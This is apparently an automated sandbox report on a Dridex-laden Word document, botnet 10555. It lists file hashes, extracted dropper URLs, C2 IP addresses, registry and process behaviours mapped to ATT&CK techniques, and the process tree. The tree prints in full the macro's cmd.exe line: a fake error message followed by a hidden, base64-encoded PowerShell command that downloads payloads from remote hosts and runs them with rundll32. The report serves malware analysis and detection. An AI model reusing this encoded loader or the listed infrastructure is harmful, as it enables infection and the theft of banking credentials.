dridex | 0144312afb25e3dbef3ef44e2802c3bbd93527eea90ea8d325c7e8193e57d9c4

General

Target

Inv.Docum.559488870.doc
Size

215KB
MD5

00a2b86ce0838d196772467738cbf883
SHA1

fd9d7e35c7b1ad644d1970bb6ac4e184171486f4
SHA256

0144312afb25e3dbef3ef44e2802c3bbd93527eea90ea8d325c7e8193e57d9c4
SHA512

da97703e140912d396a950aad0a971fb6cd6e0f2e27d29a8009048b8cd29a9f3ee8c87e886dd460f915ada9235152168666c0556b148bfa4d9d306fe8eadeb3a

Score

10^/10

dridex 10555 botnet discovery evasion loader trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://findqualityparts.com/kr44dt.zip

exe.dropper

https://saelectronicstrading.com/dekkp2ciq.zip

exe.dropper

http://loftkultur.binkhalidinternational.com/hh7lww450.zip

exe.dropper

http://excursoesdeinhamais.resultaweb.com.br/edyk3dbr.zip

exe.dropper

http://vibeautospa.com/xm9d9i.zip

exe.dropper

https://greeninvestconsulting.com/c51qtl1uf.zip

exe.dropper

https://owl-squad.com/icg2mmdqx.zip

Extracted

Family

dridex

Botnet

10555

C2

104.131.164.93:443

46.101.90.205:4643

27.254.174.84:4443

92.94.251.127:3786

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 992 3732 cmd.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	992	3732	cmd.exe

Dridex Loader 1 IoCs

Detects Dridex both x86 and x64 loader in memory.

botnet loader

Processes:

resource	yara_rule
behavioral2/memory/3176-17-0x00000000045A0000-0x00000000045DD000-memory.dmp	dridex_ldr

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

19 1600 powershell.exe
27 3176 rundll32.exe
28 3176 rundll32.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

3176 rundll32.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

rundll32.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA rundll32.exe

flow	pid	process
19	1600	powershell.exe
27	3176	rundll32.exe
28	3176	rundll32.exe

pid	process
3176	rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

64 WINWORD.EXE
64 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1600 powershell.exe
1600 powershell.exe
1600 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1600 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

64 WINWORD.EXE
64 WINWORD.EXE
64 WINWORD.EXE
64 WINWORD.EXE
64 WINWORD.EXE
64 WINWORD.EXE
64 WINWORD.EXE

pid	process
64	WINWORD.EXE
64	WINWORD.EXE

pid	process
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1600	powershell.exe

pid	process
64	WINWORD.EXE
64	WINWORD.EXE
64	WINWORD.EXE
64	WINWORD.EXE
64	WINWORD.EXE
64	WINWORD.EXE
64	WINWORD.EXE

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.exepowershell.exerundll32.exe

description	pid	process	target process
PID 992 wrote to memory of 2128	992	cmd.exe	msg.exe
PID 992 wrote to memory of 2128	992	cmd.exe	msg.exe
PID 992 wrote to memory of 1600	992	cmd.exe	powershell.exe
PID 992 wrote to memory of 1600	992	cmd.exe	powershell.exe
PID 1600 wrote to memory of 1236	1600	powershell.exe	rundll32.exe
PID 1600 wrote to memory of 1236	1600	powershell.exe	rundll32.exe
PID 1236 wrote to memory of 3176	1236	rundll32.exe	rundll32.exe
PID 1236 wrote to memory of 3176	1236	rundll32.exe	rundll32.exe
PID 1236 wrote to memory of 3176	1236	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Inv.Docum.559488870.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:64

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD cwBFAHQALQB2AEEAcgBpAGEAQgBsAGUAIAAgACgAJwBXAHoAJwArACcAcAAnACkAIAAgACgAIAAgAFsAVABZAHAARQBdACgAIgB7ADMAfQB7ADEAfQB7ADQAfQB7ADAAfQB7ADIAfQAiAC0ARgAgACcAcgAnACwAJwBpAE8ALgBEACcALAAnAGUAQwB0AE8AcgB5ACcALAAnAFMAWQBTAHQARQBtAC4AJwAsACcAaQAnACkAIAApADsAUwBFAHQALQBJAFQARQBNACAAIAAoACIAVgBBAFIAIgArACIAaQBBAEIATABlADoASwBRAEQAMwAiACsAIgBvAFAAIgApACAAIAAoACAAWwBUAHkAcABlAF0AKAAiAHsAMAB9AHsANAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBGACcAcwBZAFMAJwAsACcAaQBuAHQAbQBBAG4AQQBnAGUAcgAnACwAJwBlAHAAbwAnACwAJwBpAEMAJwAsACcAVABlAG0ALgBuAEUAVAAuAHMAZQByAFYAJwApACkAIAAgADsAIAAgACQATwA3AGIAMgB5AGUAcwA9ACgAKAAnAEYAJwArACcANQB6ADAAJwApACsAJwBwACcAKwAnAGsAZQAnACkAOwAkAEcAMgBkAGgAcwBvADgAPQAkAEoAYwBxAHQANgBwAGkAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEgAaQA1AGoAdwBoAG0AOwAkAEoANgB5AHcAbQBmADMAPQAoACcARwA4ACcAKwAoACcAeAA2AG0AYwAnACsAJwBrACcAKQApADsAIAAgACgARwBlAFQALQBpAFQAZQBtACAAIAAoACcAdgBhAHIAaQAnACsAJwBBAGIAJwArACcAbABlADoAJwArACcAVwBaAHAAJwApACAAKQAuAFYAYQBsAFUAZQA6ADoAIgBDAGAAUgBFAEEAdABlAGAARABpAHIAZQBgAGMAVABvAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAEsAJwArACcAbAAnACsAKAAnAGYASAAnACsAJwAyACcAKQArACgAJwBzADYAeQAnACsAJwBiACcAKQArACgAJwBhAEsAJwArACcAbABmAEwAJwApACsAJwBnACcAKwAnAHEAJwArACgAJwB3AGEAYgBuACcAKwAnAEsAbABmACcAKQApAC4AIgByAGAAZQBgAFAAbABBAGMARQAiACgAKAAnAEsAbAAnACsAJwBmACcAKQAsAFsAUwBUAFIASQBOAEcAXQBbAGMAaABhAFIAXQA5ADIAKQApACkAOwAkAEIAdABqADAAdwA2AG8APQAoACgAJwBRACcAKwAnAHcAcgBxACcAKQArACgAJwBsACcAKwAnAGoAXwAnACkAKQA7ACAAIAAkAGsAcQBkADMAbwBwADoAOgAiAHMARQBjAFUAUgBgAGkAdABgAFkAYABQAHIAYABPAFQATwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATQBzAHcAdQB3AHMAdgA9ACgAKAAnAEgAawAnACsAJwBrACcAKQArACgAJwA5ADMAJwArACcAbwAnACkAKwAnAGQAJwApADsAJABNAGsAOQBrAHAAYgA0ACAAPQAgACgAKAAnAFkAeABoAGQAJwArACcAMAAnACkAKwAnAG4AJwApADsAJABOAHIAdABfADIAegBsAD0AKAAnAFoAJwArACcAOQB4ACcAKwAoACcAbgA1AHEAJwArACcAMgAnACkAKQA7ACQATwA5AGIAeQBtAHYAcQA9ACgAJwBHAHMAJwArACgAJwBqACcAKwAnAHMAeQBjADgAJwApACkAOwAkAEgAagBzADEAagBtAGoAPQAkAEgATwBNAEUAKwAoACgAJwB5ACcAKwAoACcAZgAnACsAJwBBAEgAMgBzADYAJwArACcAeQAnACkAKwAnAGIAYQAnACsAJwB5AGYAJwArACgAJwBBACcAKwAnAEwAZwAnACkAKwAnAHEAdwAnACsAKAAnAGEAYgBuACcAKwAnAHkAZgAnACsAJwBBACcAKQApAC4AIgBSAGAARQBQAGwAYQBgAGMAZQAiACgAKABbAEMAaABBAHIAXQAxADIAMQArAFsAQwBoAEEAcgBdADEAMAAyACsAWwBDAGgAQQByAF0ANgA1ACkALABbAHMAVABSAEkATgBHAF0AWwBDAGgAQQByAF0AOQAyACkAKQArACQATQBrADkAawBwAGIANAArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAEMAOABkAGMAYwBzADYAPQAoACcAWgBwACcAKwAoACcAbABhAGUAYQAnACsAJwBqACcAKQApADsAJABGADkAMwAyADYAcwAzAD0AbgBFAFcAYAAtAE8AYABCAGoAYABFAEMAVAAgAG4ARQBUAC4AVwBFAGIAYwBMAGkAZQBOAFQAOwAkAFAANAAzAHQAYgB3AG8APQAoACgAKAAoACcAaAAnACsAJwB0AHQAcAAnACsAJwBzADoAcQAnACsAJwBhACkAKAA2ACcAKQApACsAKAAoACcANwApACcAKwAnACgAcQAnACsAJwBhACkAKAAnACkAKQArACgAKAAnADYAJwArACcANwApACgAZgAnACkAKQArACgAJwBpAG4AJwArACcAZABxACcAKwAnAHUAYQBsAGkAdAB5ACcAKwAnAHAAJwApACsAKAAnAGEAcgAnACsAJwB0ACcAKQArACgAJwBzACcAKwAnAC4AYwBvAG0AJwApACsAKAAoACcAcQBhACkAKAAnACsAJwA2ADcAJwApACkAKwAoACgAJwApACgAawAnACsAJwByADQAJwArACcANABkAHQAJwApACkAKwAoACcALgB6AGkAJwArACcAcABAAGgAJwArACcAdAB0AHAAcwA6ACcAKwAnAHEAYQAnACkAKwAoACgAJwApACcAKwAnACgANgAnACkAKQArACgAKAAnADcAKQAnACsAJwAoACcAKQApACsAJwBxACcAKwAoACgAJwBhACkAJwArACcAKAA2ACcAKQApACsAKAAoACcANwApACcAKQApACsAKAAoACcAKABzAGEAZQAnACsAJwBsACcAKQApACsAKAAnAGUAYwAnACsAJwB0AHIAbwBuAGkAYwAnACsAJwBzAHQAcgBhAGQAaQBuACcAKwAnAGcALgBjACcAKQArACgAKAAnAG8AbQBxAGEAJwArACcAKQAoADYAJwArACcANwApACgAJwApACkAKwAnAGQAZQAnACsAJwBrAGsAJwArACgAJwBwADIAYwAnACsAJwBpACcAKwAnAHEALgB6AGkAcABAAGgAJwApACsAJwB0ACcAKwAoACgAJwB0AHAAJwArACcAOgBxAGEAKQAnACkAKQArACgAKAAnACgANgA3ACcAKwAnACkAKAAnACsAJwBxAGEAKQAoADYANwApACgAbABvACcAKQApACsAKAAnAGYAdAAnACsAJwBrAHUAbAAnACkAKwAnAHQAdQAnACsAKAAnAHIALgBiACcAKwAnAGkAbgBrAGgAJwArACcAYQBsACcAKQArACcAaQAnACsAJwBkAGkAJwArACgAJwBuAHQAZQAnACsAJwByAG4AJwApACsAKAAoACcAYQAnACsAJwB0AGkAbwBuACcAKwAnAGEAJwArACcAbAAuAGMAJwArACcAbwBtAHEAYQAnACsAJwApACgANgAnACsAJwA3ACkAKABoAGgANwBsAHcAJwApACkAKwAnAHcAJwArACcANAA1ACcAKwAoACcAMAAnACsAJwAuAHoAaQBwACcAKQArACgAKAAnAEAAaAB0AHQAcAA6ACcAKwAnAHEAYQAnACsAJwApACcAKQApACsAKAAnACgAJwArACcANgA3ACkAJwApACsAJwAoACcAKwAoACgAJwBxAGEAKQAoACcAKwAnADYAJwArACcANwApACcAKwAnACgAZQB4ACcAKwAnAGMAdQByAHMAbwBlACcAKQApACsAKAAnAHMAJwArACcAZABlACcAKQArACgAJwBpAG4AaABhAG0AYQAnACsAJwBpACcAKwAnAHMALgByACcAKQArACgAJwBlAHMAJwArACcAdQBsACcAKwAnAHQAYQB3AGUAJwArACcAYgAuACcAKwAnAGMAbwBtAC4AJwApACsAJwBiACcAKwAoACgAJwByACcAKwAnAHEAYQApACgANgA3ACcAKwAnACkAJwArACcAKABlAGQAJwArACcAeQBrACcAKQApACsAKAAnADMAJwArACcAZABiAHIAJwApACsAKAAoACcALgAnACsAJwB6AGkAcABAACcAKwAnAGgAdAB0AHAAOgBxAGEAKQAnACsAJwAoADYAJwApACkAKwAoACgAJwA3ACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAJwArACcAYQApACgAJwApACkAKwAoACgAJwA2ACcAKwAnADcAKQAoACcAKQApACsAKAAnAHYAJwArACcAaQBiACcAKQArACgAJwBlACcAKwAnAGEAdQB0AG8AcwBwAGEALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAoACcAbQBxACcAKwAnAGEAKQAoACcAKQApACsAKAAoACcANgA3ACkAKAB4ACcAKwAnAG0AJwApACkAKwAoACcAOQAnACsAJwBkADkAaQAuAHoAJwApACsAKAAnAGkAcABAACcAKwAnAGgAdAB0ACcAKQArACcAcABzACcAKwAoACgAJwA6AHEAJwArACcAYQApACgAJwApACkAKwAnADYAJwArACgAKAAnADcAKQAoACcAKwAnAHEAYQAnACsAJwApACcAKQApACsAJwAoACcAKwAoACgAJwA2ACcAKwAnADcAKQAoACcAKQApACsAJwBnACcAKwAoACgAJwByAGUAZQBuACcAKwAnAGkAbgB2ACcAKwAnAGUAcwB0ACcAKwAnAGMAbwBuAHMAdQBsAHQAaQBuAGcALgBjACcAKwAnAG8AJwArACcAbQBxAGEAKQAoACcAKQApACsAKAAoACcANgA3ACkAKABjADUAMQBxACcAKwAnAHQAJwArACcAbAAxACcAKQApACsAJwB1ACcAKwAnAGYALgAnACsAKAAnAHoAaQBwAEAAJwArACcAaAB0AHQAJwArACcAcABzACcAKQArACcAOgAnACsAKAAoACcAcQBhACcAKwAnACkAKAA2ACcAKQApACsAKAAoACcANwApACgAJwArACcAcQBhACkAJwArACcAKAAnACkAKQArACcANgAnACsAKAAoACcANwApACgAbwB3AGwALQBzACcAKwAnAHEAdQAnACsAJwBhAGQALgAnACsAJwBjACcAKQApACsAJwBvACcAKwAnAG0AJwArACgAKAAnAHEAJwArACcAYQAnACsAJwApACgANgA3ACkAKAAnACkAKQArACgAJwBpAGMAZwAnACsAJwAyAG0AbQAnACkAKwAoACcAZAAnACsAJwBxAHgALgB6AGkAcAAnACkAKQApAC4AIgByAGUAUABgAGwAYQBDAEUAIgAoACgAKAAnAHEAJwArACgAKAAnAGEAJwArACcAKQAoADYANwApACgAJwApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoAHcAJwArACcAZQAnACkAKQBbADAAXQApAC4AIgBzAHAATABgAEkAdAAiACgAJABGAGIAeQBmADgAegBqACAAKwAgACQARwAyAGQAaABzAG8AOAAgACsAIAAkAEEAaAAzAGkAcQA1AGgAKQA7ACQAQgB3AGoAOQBuAHoAcwA9ACgAKAAnAEMAdAAxADgAJwArACcAawAnACkAKwAnAHEAaAAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFAAXwBnADAAegBzAHIAIABpAG4AIAAkAFAANAAzAHQAYgB3AG8AIAB8ACAAcwBvAHIAYABUAGAALQBgAE8AYgBKAGUAQwB0ACAAewBnAEUAYABUAC0AUgBBAG4AYABkAGAAbwBtAH0AKQB7AHQAcgB5AHsAJABGADkAMwAyADYAcwAzAC4AIgBkAE8AdwBuAEwAYABvAEEAZABmAEkAYABMAEUAIgAoACQAUABfAGcAMAB6AHMAcgAsACAAJABIAGoAcwAxAGoAbQBqACkAOwAkAEcAcgBsAHcAcAAyAGUAPQAoACcAUgBmACcAKwAoACcAYQA3ADIAdwAnACsAJwBkACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEgAagBzADEAagBtAGoAKQAuACIAbABlAGAATgBHAHQASAAiACAALQBnAGUAIAAzADIAOAAyADYAKQAgAHsAJgAoACcAcgB1ACcAKwAnAG4AZAAnACsAJwBsACcAKwAnAGwAMwAyAC4AZQB4AGUAJwApACAAJABIAGoAcwAxAGoAbQBqACwAMAA7ACQASgAwAHQAMwBtAG8AcwA9ACgAJwBQACcAKwAoACcAYgBvACcAKwAnAF8AbgB5ACcAKQArACcAdwAnACkAOwBiAHIAZQBhAGsAOwAkAE8AXwAwAHQAdgBzAGsAPQAoACgAJwBWAGoAJwArACcAaAAnACkAKwAnAHkAeAAnACsAJwBrAHMAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABPAHkAOAByAHoAcQA4AD0AKAAoACcAVQBjADQAegAnACsAJwAyAHEAJwApACsAJwBrACcAKQA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:992

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:2128

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POwersheLL -w hidden -ENCOD cwBFAHQALQB2AEEAcgBpAGEAQgBsAGUAIAAgACgAJwBXAHoAJwArACcAcAAnACkAIAAgACgAIAAgAFsAVABZAHAARQBdACgAIgB7ADMAfQB7ADEAfQB7ADQAfQB7ADAAfQB7ADIAfQAiAC0ARgAgACcAcgAnACwAJwBpAE8ALgBEACcALAAnAGUAQwB0AE8AcgB5ACcALAAnAFMAWQBTAHQARQBtAC4AJwAsACcAaQAnACkAIAApADsAUwBFAHQALQBJAFQARQBNACAAIAAoACIAVgBBAFIAIgArACIAaQBBAEIATABlADoASwBRAEQAMwAiACsAIgBvAFAAIgApACAAIAAoACAAWwBUAHkAcABlAF0AKAAiAHsAMAB9AHsANAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBGACcAcwBZAFMAJwAsACcAaQBuAHQAbQBBAG4AQQBnAGUAcgAnACwAJwBlAHAAbwAnACwAJwBpAEMAJwAsACcAVABlAG0ALgBuAEUAVAAuAHMAZQByAFYAJwApACkAIAAgADsAIAAgACQATwA3AGIAMgB5AGUAcwA9ACgAKAAnAEYAJwArACcANQB6ADAAJwApACsAJwBwACcAKwAnAGsAZQAnACkAOwAkAEcAMgBkAGgAcwBvADgAPQAkAEoAYwBxAHQANgBwAGkAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEgAaQA1AGoAdwBoAG0AOwAkAEoANgB5AHcAbQBmADMAPQAoACcARwA4ACcAKwAoACcAeAA2AG0AYwAnACsAJwBrACcAKQApADsAIAAgACgARwBlAFQALQBpAFQAZQBtACAAIAAoACcAdgBhAHIAaQAnACsAJwBBAGIAJwArACcAbABlADoAJwArACcAVwBaAHAAJwApACAAKQAuAFYAYQBsAFUAZQA6ADoAIgBDAGAAUgBFAEEAdABlAGAARABpAHIAZQBgAGMAVABvAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAEsAJwArACcAbAAnACsAKAAnAGYASAAnACsAJwAyACcAKQArACgAJwBzADYAeQAnACsAJwBiACcAKQArACgAJwBhAEsAJwArACcAbABmAEwAJwApACsAJwBnACcAKwAnAHEAJwArACgAJwB3AGEAYgBuACcAKwAnAEsAbABmACcAKQApAC4AIgByAGAAZQBgAFAAbABBAGMARQAiACgAKAAnAEsAbAAnACsAJwBmACcAKQAsAFsAUwBUAFIASQBOAEcAXQBbAGMAaABhAFIAXQA5ADIAKQApACkAOwAkAEIAdABqADAAdwA2AG8APQAoACgAJwBRACcAKwAnAHcAcgBxACcAKQArACgAJwBsACcAKwAnAGoAXwAnACkAKQA7ACAAIAAkAGsAcQBkADMAbwBwADoAOgAiAHMARQBjAFUAUgBgAGkAdABgAFkAYABQAHIAYABPAFQATwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATQBzAHcAdQB3AHMAdgA9ACgAKAAnAEgAawAnACsAJwBrACcAKQArACgAJwA5ADMAJwArACcAbwAnACkAKwAnAGQAJwApADsAJABNAGsAOQBrAHAAYgA0ACAAPQAgACgAKAAnAFkAeABoAGQAJwArACcAMAAnACkAKwAnAG4AJwApADsAJABOAHIAdABfADIAegBsAD0AKAAnAFoAJwArACcAOQB4ACcAKwAoACcAbgA1AHEAJwArACcAMgAnACkAKQA7ACQATwA5AGIAeQBtAHYAcQA9ACgAJwBHAHMAJwArACgAJwBqACcAKwAnAHMAeQBjADgAJwApACkAOwAkAEgAagBzADEAagBtAGoAPQAkAEgATwBNAEUAKwAoACgAJwB5ACcAKwAoACcAZgAnACsAJwBBAEgAMgBzADYAJwArACcAeQAnACkAKwAnAGIAYQAnACsAJwB5AGYAJwArACgAJwBBACcAKwAnAEwAZwAnACkAKwAnAHEAdwAnACsAKAAnAGEAYgBuACcAKwAnAHkAZgAnACsAJwBBACcAKQApAC4AIgBSAGAARQBQAGwAYQBgAGMAZQAiACgAKABbAEMAaABBAHIAXQAxADIAMQArAFsAQwBoAEEAcgBdADEAMAAyACsAWwBDAGgAQQByAF0ANgA1ACkALABbAHMAVABSAEkATgBHAF0AWwBDAGgAQQByAF0AOQAyACkAKQArACQATQBrADkAawBwAGIANAArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAEMAOABkAGMAYwBzADYAPQAoACcAWgBwACcAKwAoACcAbABhAGUAYQAnACsAJwBqACcAKQApADsAJABGADkAMwAyADYAcwAzAD0AbgBFAFcAYAAtAE8AYABCAGoAYABFAEMAVAAgAG4ARQBUAC4AVwBFAGIAYwBMAGkAZQBOAFQAOwAkAFAANAAzAHQAYgB3AG8APQAoACgAKAAoACcAaAAnACsAJwB0AHQAcAAnACsAJwBzADoAcQAnACsAJwBhACkAKAA2ACcAKQApACsAKAAoACcANwApACcAKwAnACgAcQAnACsAJwBhACkAKAAnACkAKQArACgAKAAnADYAJwArACcANwApACgAZgAnACkAKQArACgAJwBpAG4AJwArACcAZABxACcAKwAnAHUAYQBsAGkAdAB5ACcAKwAnAHAAJwApACsAKAAnAGEAcgAnACsAJwB0ACcAKQArACgAJwBzACcAKwAnAC4AYwBvAG0AJwApACsAKAAoACcAcQBhACkAKAAnACsAJwA2ADcAJwApACkAKwAoACgAJwApACgAawAnACsAJwByADQAJwArACcANABkAHQAJwApACkAKwAoACcALgB6AGkAJwArACcAcABAAGgAJwArACcAdAB0AHAAcwA6ACcAKwAnAHEAYQAnACkAKwAoACgAJwApACcAKwAnACgANgAnACkAKQArACgAKAAnADcAKQAnACsAJwAoACcAKQApACsAJwBxACcAKwAoACgAJwBhACkAJwArACcAKAA2ACcAKQApACsAKAAoACcANwApACcAKQApACsAKAAoACcAKABzAGEAZQAnACsAJwBsACcAKQApACsAKAAnAGUAYwAnACsAJwB0AHIAbwBuAGkAYwAnACsAJwBzAHQAcgBhAGQAaQBuACcAKwAnAGcALgBjACcAKQArACgAKAAnAG8AbQBxAGEAJwArACcAKQAoADYAJwArACcANwApACgAJwApACkAKwAnAGQAZQAnACsAJwBrAGsAJwArACgAJwBwADIAYwAnACsAJwBpACcAKwAnAHEALgB6AGkAcABAAGgAJwApACsAJwB0ACcAKwAoACgAJwB0AHAAJwArACcAOgBxAGEAKQAnACkAKQArACgAKAAnACgANgA3ACcAKwAnACkAKAAnACsAJwBxAGEAKQAoADYANwApACgAbABvACcAKQApACsAKAAnAGYAdAAnACsAJwBrAHUAbAAnACkAKwAnAHQAdQAnACsAKAAnAHIALgBiACcAKwAnAGkAbgBrAGgAJwArACcAYQBsACcAKQArACcAaQAnACsAJwBkAGkAJwArACgAJwBuAHQAZQAnACsAJwByAG4AJwApACsAKAAoACcAYQAnACsAJwB0AGkAbwBuACcAKwAnAGEAJwArACcAbAAuAGMAJwArACcAbwBtAHEAYQAnACsAJwApACgANgAnACsAJwA3ACkAKABoAGgANwBsAHcAJwApACkAKwAnAHcAJwArACcANAA1ACcAKwAoACcAMAAnACsAJwAuAHoAaQBwACcAKQArACgAKAAnAEAAaAB0AHQAcAA6ACcAKwAnAHEAYQAnACsAJwApACcAKQApACsAKAAnACgAJwArACcANgA3ACkAJwApACsAJwAoACcAKwAoACgAJwBxAGEAKQAoACcAKwAnADYAJwArACcANwApACcAKwAnACgAZQB4ACcAKwAnAGMAdQByAHMAbwBlACcAKQApACsAKAAnAHMAJwArACcAZABlACcAKQArACgAJwBpAG4AaABhAG0AYQAnACsAJwBpACcAKwAnAHMALgByACcAKQArACgAJwBlAHMAJwArACcAdQBsACcAKwAnAHQAYQB3AGUAJwArACcAYgAuACcAKwAnAGMAbwBtAC4AJwApACsAJwBiACcAKwAoACgAJwByACcAKwAnAHEAYQApACgANgA3ACcAKwAnACkAJwArACcAKABlAGQAJwArACcAeQBrACcAKQApACsAKAAnADMAJwArACcAZABiAHIAJwApACsAKAAoACcALgAnACsAJwB6AGkAcABAACcAKwAnAGgAdAB0AHAAOgBxAGEAKQAnACsAJwAoADYAJwApACkAKwAoACgAJwA3ACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAJwArACcAYQApACgAJwApACkAKwAoACgAJwA2ACcAKwAnADcAKQAoACcAKQApACsAKAAnAHYAJwArACcAaQBiACcAKQArACgAJwBlACcAKwAnAGEAdQB0AG8AcwBwAGEALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAoACcAbQBxACcAKwAnAGEAKQAoACcAKQApACsAKAAoACcANgA3ACkAKAB4ACcAKwAnAG0AJwApACkAKwAoACcAOQAnACsAJwBkADkAaQAuAHoAJwApACsAKAAnAGkAcABAACcAKwAnAGgAdAB0ACcAKQArACcAcABzACcAKwAoACgAJwA6AHEAJwArACcAYQApACgAJwApACkAKwAnADYAJwArACgAKAAnADcAKQAoACcAKwAnAHEAYQAnACsAJwApACcAKQApACsAJwAoACcAKwAoACgAJwA2ACcAKwAnADcAKQAoACcAKQApACsAJwBnACcAKwAoACgAJwByAGUAZQBuACcAKwAnAGkAbgB2ACcAKwAnAGUAcwB0ACcAKwAnAGMAbwBuAHMAdQBsAHQAaQBuAGcALgBjACcAKwAnAG8AJwArACcAbQBxAGEAKQAoACcAKQApACsAKAAoACcANgA3ACkAKABjADUAMQBxACcAKwAnAHQAJwArACcAbAAxACcAKQApACsAJwB1ACcAKwAnAGYALgAnACsAKAAnAHoAaQBwAEAAJwArACcAaAB0AHQAJwArACcAcABzACcAKQArACcAOgAnACsAKAAoACcAcQBhACcAKwAnACkAKAA2ACcAKQApACsAKAAoACcANwApACgAJwArACcAcQBhACkAJwArACcAKAAnACkAKQArACcANgAnACsAKAAoACcANwApACgAbwB3AGwALQBzACcAKwAnAHEAdQAnACsAJwBhAGQALgAnACsAJwBjACcAKQApACsAJwBvACcAKwAnAG0AJwArACgAKAAnAHEAJwArACcAYQAnACsAJwApACgANgA3ACkAKAAnACkAKQArACgAJwBpAGMAZwAnACsAJwAyAG0AbQAnACkAKwAoACcAZAAnACsAJwBxAHgALgB6AGkAcAAnACkAKQApAC4AIgByAGUAUABgAGwAYQBDAEUAIgAoACgAKAAnAHEAJwArACgAKAAnAGEAJwArACcAKQAoADYANwApACgAJwApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoAHcAJwArACcAZQAnACkAKQBbADAAXQApAC4AIgBzAHAATABgAEkAdAAiACgAJABGAGIAeQBmADgAegBqACAAKwAgACQARwAyAGQAaABzAG8AOAAgACsAIAAkAEEAaAAzAGkAcQA1AGgAKQA7ACQAQgB3AGoAOQBuAHoAcwA9ACgAKAAnAEMAdAAxADgAJwArACcAawAnACkAKwAnAHEAaAAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFAAXwBnADAAegBzAHIAIABpAG4AIAAkAFAANAAzAHQAYgB3AG8AIAB8ACAAcwBvAHIAYABUAGAALQBgAE8AYgBKAGUAQwB0ACAAewBnAEUAYABUAC0AUgBBAG4AYABkAGAAbwBtAH0AKQB7AHQAcgB5AHsAJABGADkAMwAyADYAcwAzAC4AIgBkAE8AdwBuAEwAYABvAEEAZABmAEkAYABMAEUAIgAoACQAUABfAGcAMAB6AHMAcgAsACAAJABIAGoAcwAxAGoAbQBqACkAOwAkAEcAcgBsAHcAcAAyAGUAPQAo